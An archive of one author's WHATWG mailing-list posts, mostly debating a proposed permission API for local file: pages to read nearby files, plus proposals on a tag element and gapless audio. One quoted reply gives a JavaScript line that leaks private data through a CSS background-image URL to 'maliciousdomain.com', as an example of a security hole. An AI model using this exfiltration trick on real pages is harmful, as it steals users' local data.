Re: [whatwg] Accessing local files with JavaScript portably and securely

[David Kendal]

On 15 Apr 2017, at 14:07, Roger Hågensen  wrote:

> Patrick makes a good point.
> 
> For example asking a user if it' sok for the HTML document to access 
> stuff in "C:\Users\Username\AppData\Local\Temp\" what do you think most 
> uses will do?
> Just click OK, after all "they" have nothing important in that folder, 
> their stuff is in "Documents" instead.

This is why I added the restriction that pages can only request access
to directories that are parents of the directory they're in. I admit I
don't actually know much about how Windows lays out files these days --
if the 'Downloads' folder is within some other folder that also contains
a load of private stuff. If so, or if that's so on some other popular
OS, maybe I'm wrong.

Browsers could also add restrictions that you can't request access to
the root directory or top-level subdirectory of an OS volume, or what-
ever else is needed for appropriate security on a particular OS.

Some participants on the Chrome bug thread suggested that Chrome could
look for some hidden file that would give files in the directory under
it XHR/Fetch access to that directory. That seems similar to what you
suggest, but I dislike the idea of a hidden file doing this unbeknownst
to users -- and even if it were visible, its function may not be obvious.

-- 
dpk (David P. Kendal) · Nassauische Str. 36, 10717 DE · http://dpk.io/
Gott schütze mich vor Staub und Schmutz,   +49 159 03847809
  vor Feuer, Krieg und Denkmalschutz.
  — seen on an old building in Bamberg, Bavaria

Re: [whatwg] Accessing local files with JavaScript portably and securely

[David Kendal]

On 15 Apr 2017, at 01:09, Patrick Dark  
wrote:

> So if you put this file in the Windows Downloads directory, then it
> has read access to all download files even though they aren't related?
> And it grants access to all of those files—some of which may also be
> HTML-based applications—again, even if they aren't related? If the
> user is instructed to place it in the root directory and then grants
> it permissions, it has access to read the entire operating system?
> 
> What if the file is used to dynamically write a CSS style declaration
> as in:
> 
> some_element.style.setProperty("background-image", 
> "url('http://maliciousdomain.com/?private-info=; + private_info + "')");
> 
> How do you address this security hole?

Ah, well, that's why you have to ask the user. The prompt should make
clear that this is a possibility -- something like:

"The webpage ‘[title]’ wants to access files in the folder ‘[name]’.
The webpage will be able to open and read from, but not modify, all
the files in this folder and may be able to send information from those
files to third parties. You should not do this if you do not trust the
source of this webpage. Do you want to allow this?"
[or whatever -- I'm not a UI text writer and something shorter would
probably be better, it's up to browser makers]

Alternatively, the Right Thing might be to say that once you've got
local file access you can't load images, scripts (etc.) over HTTP. That
might be oppressively restrictive for the use case where developers are
using file URLs for development though (they might still want assets
like JS libraries from a CDN).

Basically, I'm willing to trust users to know that files running from
their local computer might affect other things on their local computer
-- especially when warned about it explicitly. After all, as others have
pointed out, the same vulnerability is there when you take the option of
shipping an HTTP server with the HTML files. And, in fact, it's worse
because the HTTP server has no sandboxing to a particular area of the
filesystem and *doesn't* generally warn the user before it gains total
filesystem access.

-- 
dpk (David P. Kendal) · Nassauische Str. 36, 10717 DE · http://dpk.io/
   we do these things not because they are easy,  +49 159 03847809
  but because we thought they were going to be easy
  — ‘The Programmers’ Credo’, Maciej Cegłowski

Re: [whatwg] Accessing local files with JavaScript portably and securely

[David Kendal]

To set aside the previous thread, I'd like to make a renewed call for
input on my actual proposal, including counter-proposals, potential
flaws in my design, etc.

Then perhaps we can make some progress here.

dpk

On 9 Apr 2017, at 10:51, David Kendal <m...@dpk.io> wrote:

> Moin,
> 
> Over the last few years there has been a gradual downgrading of support
> in browsers for running pages from the file: protocol. Most browsers now
> have restrictions on the ability of JavaScript in such pages to access
> other files.
> 
> Both Firefox and Chrome seem to have removed this support from XHR, and
> there appears to be no support at all for Fetching local files from
> other local files. This is an understandable security restriction, but
> there is no viable replacement at present.
> 
> This is a shame because there are many possible uses for local static
> files accessing other local static files: the one I have in mind is
> shipping static files on CD-ROM or USB stick, but there is also the more
> obvious (and probably more common) use of local files by developers
> prototyping their apps before deploying them live to an HTTP server.
> 
> This is an inconvenience to many web developers, and I'm far from the
> only one to complain about it. For instance, this from a very prolific
> reporter of Chrome bugs:
> 
> > I've filed hundreds of Chrome bugs and I would rather would see this
> > fixed than any of them
> 
> in <https://bugs.chromium.org/p/chromium/issues/detail?id=47416>. That
> bug was the number two most starred Blink bug in 2016.
> 
> I'd like to see APIs that solve this problem securely, in a way that's
> portable across all browsers. I know this isn't trendy or sexy but
> 'single-page apps' are still in vogue (I think?) and it would be
> useful/cool to be able to run them locally, even only for development
> purposes.
> 
> 
> A proposed solution, though far from the only one possible:
> 
> There should be a new API something like this:
> 
> window.requestFilesystemPermission(requestedOrigin);
> 
> which does something like
> 
> - If permission was already granted for the specified requestedOrigin or
>   some parent directory of it, return true.
> 
> - If the current page origin is not a URL on the file: protocol, raise a
>   permissions error.
> 
> - If requestedOrigin does not share a root path with the current page
>   origin, raise a permissions error. That is, a file with the name
>   file:///mnt/html/index.html can request access to file:///mnt or to
>   file:///mnt/html, but *not* to file:///etc, where it could read the
>   local password file.
> 
> - The browser displays an alert to the page user showing the name and
>   path to the directory which has requested this permission. The user
>   can then choose to allow or deny access.
> 
> - If the user chose not to allow access to the files, false is returned
>   or some other error is raised.
> 
> - If they chose to allow access, return true.
> 
> - For the remainder of the session (user agent specific), all files
>   in the requestedOrigin directory, including the current page, have
>   total read access (with Fetch, XHR, etc.) to all other files in
>   the directory.
> 
> requestedOrigin is allowed to be an absolute or relative URI.
> 
> Some useful Fetch semantics for file: URLs should also be defined.
> 
> I like this solution because it maintains portability of scripts between
> HTTP(S) and local files without too much extra programming work: if
> scripts only request relative URLs, they can both (a) detect that
> they're running locally from file: URLs, and request permission if so
> and (b) detect that they're running on HTTP, and make exactly the same
> API calls as they would on the local system.
> 
> This is also a beneficial property for those using file:// URLs for
> development purposes.
> 
> Of course, this is just one solution that's possible. I would welcome
> feedback on this proposal and any progress towards any solution to this
> very common problem.
> 
> 
> Thanks,
> 
> -- 
> dpk (David P. Kendal) · Nassauische Str. 36, 10717 DE · http://dpk.io/
><+grr> for security reasons I've switched to files:// urls instead

Re: [whatwg] Accessing local files with JavaScript portably and securely

[David Kendal]

On 14 Apr 2017, at 18:30, Domenic Denicola  wrote:

> > You are continuing to dodge this problem by redefining the WHAT WG's
> > responsibilities. Please don't do that.
>
> I don't intend to take direction on how I spend my time from you.

Fine; you don't personally have to work on solving this problem, then.
But so far your response to my "I have a problem!" has been to say "you
are incorrect for having that problem" which is not a valuable use of
anybody's time or attention. You are more than welcome to ignore the
problem entirely and leave it up to other WHAT WG participants, several
of whom have expressed interest in working on this (though I trust that
if the outcome is changes or additions to the spec, that your employer
will faithfully implement them in its browser).

> I'd be curious as to whether you can find any statement of the
> WHATWG's responsibilities to back up your claim on my time.

This is getting silly. 
says the WHAT WG's purpose is to 'evolve the Web'; since file: URIs
are part of the web, this problem falls within the WHAT WG's remit.

If you continue with this argument, I will simply ignore you. I am more
interested in debating how to solve the problem than quibbling over who
should solve it.

> > On that note I also see that the Fetch API has stubbed out the
> > specification of file: and ftp: URL semantics for definition in the
> > future at .
>
> That's not an accurate statement. Rather, Anne has left that as
> implementation-defined, since it isn't part of the interoperable world
> wide web.

The wording "For now, unfortunate as it is" introducing that section
sure sounds to me like this is something that is intended to be
addressed by the spec at a later date. Indeed, at the top of this thread
I proposed one step towards doing that.

-- 
dpk (David P. Kendal) · Nassauische Str. 36, 10717 DE · http://dpk.io/
   The Art of Biography+49 159 03847809
 is different from Geography.
   Geography is about Maps,   — Edmund Clerihew Bentley,
 but Biography is about Chaps.  Biography for Beginners (1905) 

Re: [whatwg] Accessing local files with JavaScript portably and securely

[David Kendal]

On 11 Apr 2017, at 19:50, Patrick Dark  
wrote:

> The "world wide web" is the user-facing portion of the Internet. Files
> on a CD or USB drive are not part of that.

You are continuing to dodge this problem by redefining the WHAT WG's
responsibilities. Please don't do that.

If you can't take my word for it, how about the inventor of the
web itself? 
(Thanks to a correspondent, who I presume prefers to remain unnamed,
for sending this to me off-list.)

As the divinely-appointed guardians of the HTML spec, the responsibility
of the WHAT WG is to ensure that HTML is a useful platform for documents
and applications wherever HTML files can be opened from, whether that's
HTTP(S), FTP, or local files. Where 'the web' starts and stops in this
spectrum of possible protocols is of no import.

On that note I also see that the Fetch API has stubbed out the
specification of file: and ftp: URL semantics for definition in the
future at .

-- 
dpk (David P. Kendal) · Nassauische Str. 36, 10717 DE · http://dpk.io/
In politics, obedience and support are the same thing.
   — Hannah Arendt

Re: [whatwg] Accessing local files with JavaScript portably and securely

[David Kendal]

On 11 Apr 2017, at 17:01, Domenic Denicola  wrote:

> Bingo. This mailing list is for developing technology for the world
> wide web, not for peoples' local computers.

The World Wide Web includes peoples' own computers. file:// is a URI
scheme for exactly that reason. Every browser since WorldWideWeb.app
for the NeXT has supported it, and every browser will support it
forever, I hope. (Until it gets the  treatment, I suppose,
since the current generation of web standards writers seem to regard
the idea of platform stability with extreme contempt.)

You cannot escape this simply by redefining what you consider 'the web'
to be.

(file:// is even 'world wide', to some extent. On computers with AFS
installed, all URIs beginning with file:///afs/ will always resolve to
the exact same files.)

-- 
dpk (David P. Kendal) · Nassauische Str. 36, 10717 DE · http://dpk.io/
 If one meets a powerful person […] one can ask five questions: what
   power do you have; where did you get it; in whose interests do you
   exercise it; to whom are you accountable; and, how can we get rid of
   you? Anyone who cannot answer the last of those questions does not
   live in a democratic system. — Tony Benn, Commons deb., 16 Nov. 1998

Re: [whatwg] Accessing local files with JavaScript portably and securely

[David Kendal]

On 11 Apr 2017, at 12:55, Patrick Dark  
wrote:

> I can't see this being addressed. The only good reason to distribute
> an application this way is because you want it to be confidential and
> there's no incentive to accommodate what one might call "walled
> gardens" in HTML because they naturally have a limited audience. For
> example, if your application is being distributed via CD, that implies
> that that number of application instances will be limited to the
> number of physical media items, that the application will never be
> updated, and that the application therefore isn't particularly
> important.

I object strongly to this inference.

Let's approach this problem from the other end. This is the problem I'm
actually trying to solve, and I've concluded that the web platform,
distributed on CD-ROM, may be the best approach. Please suggest another
way to distribute something which is:

(a) stable, as in won't disappear when the publisher dies or goes out of
business and stops paying hosting bills;
(b) archivable, as in won't degrade significantly over the medium term
when stored;
(c) portable, as in not tied to any particular API;
(d) forward-compatible, as in will very probably run on future computer
architectures and operating systems in the long term, regardless of
system call or GUI API changes.

I am genuinely asking for suggestions for a better approach. HTML files
on CD are *vital* for certain kinds of large ebooks to survive the ages.
But if you want to make them interactive, you're hamstrung by the lack
of cross-browser support for XHR/Fetch for files on the same medium.

Bundling an HTTP server on the disc would break (c) and (d), though one
could depend on the capabilities of future software archaeologists to
simply run their own servers for the content.

-- 
dpk (David P. Kendal) · Nassauische Str. 36, 10717 DE · http://dpk.io/
 The reason we had no idea how cats worked was because, since Newton,
 we had proceeded by the simple principle that essentially, to see how
 things work, we took them apart. If you try and take a cat apart to
 see how it works, the first thing you have on your hands is a non-
 working cat.— Douglas Adams

Re: [whatwg] Accessing local files with JavaScript portably and securely

[David Kendal]

On 9 Apr 2017, at 20:36, Jan Tosovsky <jan.tosovsky...@gmail.com> wrote:

> On 2017-04-09 David Kendal wrote:
> 
> > ... there are many possible uses for local static files accessing
> > other local static files: the one I have in mind is shipping static
> > files on CD-ROM or USB stick...
>
> In this case the file structure is fixed so it can be exported as JSON
> file and then linked via the HTML header in every HTML file where it
> is needed. This structure is then directly available for the further
> processing.
> 
> However, I am not sure this covers your use case.

I'm not sure either, because I don't understand what you're proposing.
What feature of the HTML header enables this functionality? (For an
arbitrary number of files which may be wanted by an arbitrary number
of other files, and which could be very large.)

-- 
dpk (David P. Kendal) · Nassauische Str. 36, 10717 DE · http://dpk.io/
  The House of Commons [is] like Noah’s Ark—a few men & many beasts.
 — Samuel Taylor Coleridge

Re: [whatwg] Accessing local files with JavaScript portably and securely

[David Kendal]

On 9 Apr 2017, at 14:48, Philipp Serafin  wrote:

> Note also that the HTTP server solution requires you to ship a binary
> (the server) with your files, therefore sacrificing platform
> independence and requiring the user to run an untrusted binary, all
> just to show some HTML files.

This is my main concern with the 'ship a server' approach.

In addition, though local servers are easy for experienced developers to
spin up, it's an extra potentially confusing step for developers who are
brand new to the web platform. It's an additional concept to grasp before
you can even get started, and those should be absolutely minimized.
Beginners may not even have HTTP hosting space of their own yet, and be
dependent on their local filesystem to see their pages.

-- 
dpk (David P. Kendal) · Nassauische Str. 36, 10717 DE · http://dpk.io/
  A, der edelste, ursprünglichste aller laute, aus brust und kehle voll
erschallend, den das kind zuerst und am leichtesten hervor bringen
lernt, den mit recht die alphabete der meisten sprachen an ihre
spitze stellen.   — first entry in the Grimms’ Deutsches Wörterbuch

[whatwg] Accessing local files with JavaScript portably and securely

[David Kendal]

Moin,

Over the last few years there has been a gradual downgrading of support
in browsers for running pages from the file: protocol. Most browsers now
have restrictions on the ability of JavaScript in such pages to access
other files.

Both Firefox and Chrome seem to have removed this support from XHR, and
there appears to be no support at all for Fetching local files from
other local files. This is an understandable security restriction, but
there is no viable replacement at present.

This is a shame because there are many possible uses for local static
files accessing other local static files: the one I have in mind is
shipping static files on CD-ROM or USB stick, but there is also the more
obvious (and probably more common) use of local files by developers
prototyping their apps before deploying them live to an HTTP server.

This is an inconvenience to many web developers, and I'm far from the
only one to complain about it. For instance, this from a very prolific
reporter of Chrome bugs:

> I've filed hundreds of Chrome bugs and I would rather would see this
> fixed than any of them

in . That
bug was the number two most starred Blink bug in 2016.

I'd like to see APIs that solve this problem securely, in a way that's
portable across all browsers. I know this isn't trendy or sexy but
'single-page apps' are still in vogue (I think?) and it would be
useful/cool to be able to run them locally, even only for development
purposes.


A proposed solution, though far from the only one possible:

There should be a new API something like this:

window.requestFilesystemPermission(requestedOrigin);

which does something like

- If permission was already granted for the specified requestedOrigin or
  some parent directory of it, return true.

- If the current page origin is not a URL on the file: protocol, raise a
  permissions error.

- If requestedOrigin does not share a root path with the current page
  origin, raise a permissions error. That is, a file with the name
  file:///mnt/html/index.html can request access to file:///mnt or to
  file:///mnt/html, but *not* to file:///etc, where it could read the
  local password file.

- The browser displays an alert to the page user showing the name and
  path to the directory which has requested this permission. The user
  can then choose to allow or deny access.

- If the user chose not to allow access to the files, false is returned
  or some other error is raised.

- If they chose to allow access, return true.

- For the remainder of the session (user agent specific), all files
  in the requestedOrigin directory, including the current page, have
  total read access (with Fetch, XHR, etc.) to all other files in
  the directory.

requestedOrigin is allowed to be an absolute or relative URI.

Some useful Fetch semantics for file: URLs should also be defined.

I like this solution because it maintains portability of scripts between
HTTP(S) and local files without too much extra programming work: if
scripts only request relative URLs, they can both (a) detect that
they're running locally from file: URLs, and request permission if so
and (b) detect that they're running on HTTP, and make exactly the same
API calls as they would on the local system.

This is also a beneficial property for those using file:// URLs for
development purposes.

Of course, this is just one solution that's possible. I would welcome
feedback on this proposal and any progress towards any solution to this
very common problem.


Thanks,

-- 
dpk (David P. Kendal) · Nassauische Str. 36, 10717 DE · http://dpk.io/
   <+grr> for security reasons I've switched to files:// urls instead

[whatwg] Proposal: element

[David Kendal]

I would like to propose a new element for the HTML standard, .

The  element is a phrasing element representing a label or tag.
Semantically, it attaches the label to the nearest enclosing ,
, , , , or to the entire document if there is no such
enclosing element.

Example uses for the proposed element:

- Tags on a blog entry:

  
Why Germany will win Euro 2016
[...]
Tagged with germany, football,
predictions
  

- ‘Hashtags’ in a microblog posting:

  At the They Might Be Giants concert. #tmbg

- Indications of what the topic of a news article is (roughly, what section of a
  print newspaper it is in):

  In today’s World News Report:
  
Diplomat slips on banana skin in UN debating 
chamber —
World
Mauve Party polling lead increases by 2 pp —
Politics
British Pound has another bad day on the markets —
Business
  

- Labels on a dictionary entry or sense:

  proctor
  
U.S.: A person responsible for overseeing an 
examination
at a university.
U.K.: A university officer responsible for student
discipline.
  

- Size and other product variant indicators in online shopping:

  
‘I lt;3 Web Standards’ T-shirt
Available in sizes S, M, L, and
XL, and in white or black versions.
  

Suggested default styling is italic (largely on the basis that this is
historically and generally the usual styling for labels in dictionary entries).

Feedback welcome.
With thanks,


David P. Kendal
bei WG Neumann
Nassauische Straße 36
10717 Berlin
Deutschland

Email: m...@dpk.io
Handy: +49 159 03847809

Re: [whatwg] Gapless playback problems with web audio standards

[David Kendal]

On 27 Oct 2014, at 12:08, Robert O'Callahan rob...@ocallahan.org wrote:

 Web Audio should be usable for this. If it doesn't work due to brower bugs, 
 we should fix the browser bugs. I know we've fixed bugs related to this in 
 Firefox this year so I'd like to know if obvious techniques still don't work.

Can you suggest an ‘obvious technique’ I don’t describe in my email? Given that 
none of the techniques there work even remotely directly with samples, but 
rather with approximate durations, I don’t see how it’s possible to get 
sample-accurate transitions.

Silvia Pfeiffer suggested using Media Source Extensions, which looks more 
promising, but I don’t see how they can be used to ‘join’ the samples from two 
different audio files into the same buffer.

 Rob

dpk

[whatwg] Gapless playback problems with web audio standards

[David Kendal]

Hi,

http://w3.org/mid/10b10a1d-8b84-4015-8d49-a45b87e4b...@dpk.io

dpk